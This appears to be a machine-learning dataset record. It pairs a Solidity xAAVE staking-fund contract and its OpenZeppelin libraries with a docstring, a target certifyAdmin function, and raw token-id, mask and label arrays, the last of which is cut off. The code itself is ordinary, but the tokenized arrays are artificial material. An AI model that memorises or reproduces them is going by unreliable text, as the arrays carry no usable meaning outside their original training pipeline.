ERC20(tokens[i]), tokenBal, ERC20(address(aave)), minReturns[i] ); uint256 bufferBalanceAfter = getBufferBalance(); uint256 fee = _calculateFee( bufferBalanceAfter.sub(bufferBalancerBefore), feeDivisors.claimFee ); _incrementWithdrawableAaveFees(fee); } } function setDelegate( address delegateRegistry, bytes32 id, address delegate ) external onlyOwnerOrManager { IDelegateRegistry(delegateRegistry).setDelegate(id, delegate); } /* ========================================================================================= */ /* Fund Management - Public */ /* ========================================================================================= */ /* * @notice If admin doesn't certify within LIQUIDATION_TIME_PERIOD, * admin functions unlock to public */ modifier liquidationTimeElapsed { require( block.timestamp > adminActiveTimestamp.add(LIQUIDATION_TIME_PERIOD), "Liquidation time hasn't elapsed" ); _; } /* * @notice First step in xAAVE unwind in event of admin failure/incapacitation */ function emergencyCooldown() public liquidationTimeElapsed { _cooldown(); } /* * @notice Second step in xAAVE unwind in event of admin failure/incapacitation * @notice Called after cooldown period, during unwind period */ function emergencyRedeem(uint256 amount) public liquidationTimeElapsed { _redeem(amount); } /* * @notice Public callable function for claiming staking rewards */ function claimExternal() public { _claim(); } /* ========================================================================================= */ /* Fund Management - Private */ /* ========================================================================================= */ function _cooldown() private { cooldownActivated = true; stakedAave.cooldown(); } function _redeem(uint256 _amount) private { stakedAave.redeem(address(this), _amount); } function _claim() private { uint256 bufferBalanceBefore = getBufferBalance(); stakedAave.claimRewards(address(this), MAX_UINT); uint256 bufferBalanceAfter = getBufferBalance(); uint256 claimed = bufferBalanceAfter.sub(bufferBalanceBefore); uint256 fee = _calculateFee(claimed, feeDivisors.claimFee); _incrementWithdrawableAaveFees(fee); } /* ========================================================================================= */ /* Fee Logic */ /* ========================================================================================= */ function _calculateFee(uint256 _value, uint256 _feeDivisor) internal pure returns (uint256 fee) { if (_feeDivisor > 0) { fee = _value.div(_feeDivisor); } } function _incrementWithdrawableAaveFees(uint256 _feeAmount) private { withdrawableAaveFees = withdrawableAaveFees.add(_feeAmount); } /* * @notice Inverse of fee i.e., a fee divisor of 100 == 1% * @notice Three fee types * @dev Mint fee 0 or <= 2% * @dev Burn fee 0 or <= 1% * @dev Claim fee 0 <= 4% */ function setFeeDivisors( uint256 mintFeeDivisor, uint256 burnFeeDivisor, uint256 claimFeeDivisor ) public onlyOwner { _setFeeDivisors(mintFeeDivisor, burnFeeDivisor, claimFeeDivisor); } function _setFeeDivisors( uint256 _mintFeeDivisor, uint256 _burnFeeDivisor, uint256 _claimFeeDivisor ) private { require(_mintFeeDivisor == 0 || _mintFeeDivisor >= 50, "Invalid fee"); require(_burnFeeDivisor == 0 || _burnFeeDivisor >= 100, "Invalid fee"); require(_claimFeeDivisor >= 25, "Invalid fee"); feeDivisors.mintFee = _mintFeeDivisor; feeDivisors.burnFee = _burnFeeDivisor; feeDivisors.claimFee = _claimFeeDivisor; } /* * @notice Public callable function for claiming staking rewards */ function withdrawFees() public { require( xTokenManager.isRevenueController(msg.sender), "Callable only by Revenue Controller" ); (bool success, ) = msg.sender.call.value(address(this).balance)(""); require(success, "Transfer failed"); uint256 aaveFees = withdrawableAaveFees; withdrawableAaveFees = 0; aave.safeTransfer(msg.sender, aaveFees); } /* ========================================================================================= */ /* Utils */ /* ========================================================================================= */ function pauseContract() public onlyOwnerOrManager returns (bool) { _pause(); return true; } function unpauseContract() public onlyOwnerOrManager returns (bool) { _unpause(); return true; } function approveStakingContract() public onlyOwnerOrManager { aave.safeApprove(address(stakedAave), MAX_UINT); } function approveKyberContract(address _token) public onlyOwnerOrManager { IERC20(_token).safeApprove(address(kyberProxy), MAX_UINT); } /* * @notice Callable by admin to ensure LIQUIDATION_TIME_PERIOD won't elapse */ function certifyAdmin() public onlyOwnerOrManager { _updateAdminActiveTimestamp(); } /* * @notice Emergency function in case of errant transfer of * xAAVE token directly to contract */ function withdrawNativeToken() public onlyOwnerOrManager { uint256 tokenBal = balanceOf(address(this)); if (tokenBal > 0) { IERC20(address(this)).safeTransfer(msg.sender, tokenBal); } } modifier onlyOwnerOrManager { require( msg.sender == owner() || xTokenManager.isManager(msg.sender, address(this)), "Non-admin caller" ); _; } /** * BlockLock logic: Implements locking of mint, burn, transfer and transferFrom * functions via a notLocked modifier. * Functions are locked per address. */ modifier notLocked(address lockedAddress) { require( lastLockedBlock[lockedAddress] <= block.number, "Function is temporarily locked for this address" ); _; } /** * @dev Lock mint, burn, transfer and transferFrom functions * for _address for BLOCK_LOCK_COUNT blocks */ function lock(address _address) private { lastLockedBlock[_address] = block.number + BLOCK_LOCK_COUNT; } receive() external payable { require(msg.sender != tx.origin, "Errant ETH deposit"); } function setVotingAaveAddress(IERC20 _votingAave) public onlyOwner { votingAave = _votingAave; } function setGovernanceV2Address(IAaveGovernanceV2 _governanceV2) public onlyOwner { if (address(governanceV2) == address(0)) { governanceV2 = _governanceV2; } } function voteV2(uint256 proposalId, bool support) public onlyOwnerOrManager { governanceV2.submitVote(proposalId, support); } function addToWhitelist(address _address) external onlyOwnerOrManager { whitelist[_address] = true; } function removeFromWhitelist(address _address) external onlyOwnerOrManager { whitelist[_address] = false; } function setxTokenManager(IxTokenManager _manager) external onlyOwner { require( address(xTokenManager) == address(0), "Cannot set manager twice" ); xTokenManager = _manager; } } pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.6.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } pragma solidity ^0.6.0; import "../GSN/Context.sol"; import "../Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } pragma solidity ^0.6.0; import "../../GSN/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; import "../../Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20MinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20UpgradeSafe is Initializable, ContextUpgradeSafe, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name, string memory symbol) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name, symbol); } function __ERC20_init_unchained(string memory name, string memory symbol) internal initializer { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } uint256[44] private __gap; } pragma solidity 0.6.2; contract Pausable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool public paused; /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused, "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { paused = true; emit Paused(msg.sender); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { paused = false; emit Unpaused(msg.sender); } } //SPDX-License-Identifier: MIT pragma solidity 0.6.2; interface IxTokenManager { /** * @dev Add a manager to an xAsset fund */ function addManager(address manager, address fund) external; /** * @dev Remove a manager from an xAsset fund */ function removeManager(address manager, address fund) external; /** * @dev Check if an address is a manager for a fund */ function isManager(address manager, address fund) external view returns (bool); /** * @dev Set revenue controller */ function setRevenueController(address controller) external; /** * @dev Check if address is revenue controller */ function isRevenueController(address caller) external view returns (bool); } pragma solidity 0.6.2; interface IDelegateRegistry { function setDelegate(bytes32 id, address delegate) external; } pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } pragma solidity ^0.6.0; import "../Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract ContextUpgradeSafe is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; }
@notice Callable by admin to ensure LIQUIDATION_TIME_PERIOD won't elapse/
function certifyAdmin() public onlyOwnerOrManager { _updateAdminActiveTimestamp(); }
196,689
[ 1, 11452, 635, 3981, 358, 3387, 8961, 53, 3060, 2689, 67, 4684, 67, 28437, 8462, 1404, 415, 28933, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 3320, 1164, 4446, 1435, 1071, 1338, 5541, 1162, 1318, 288, 203, 3639, 389, 2725, 4446, 3896, 4921, 5621, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 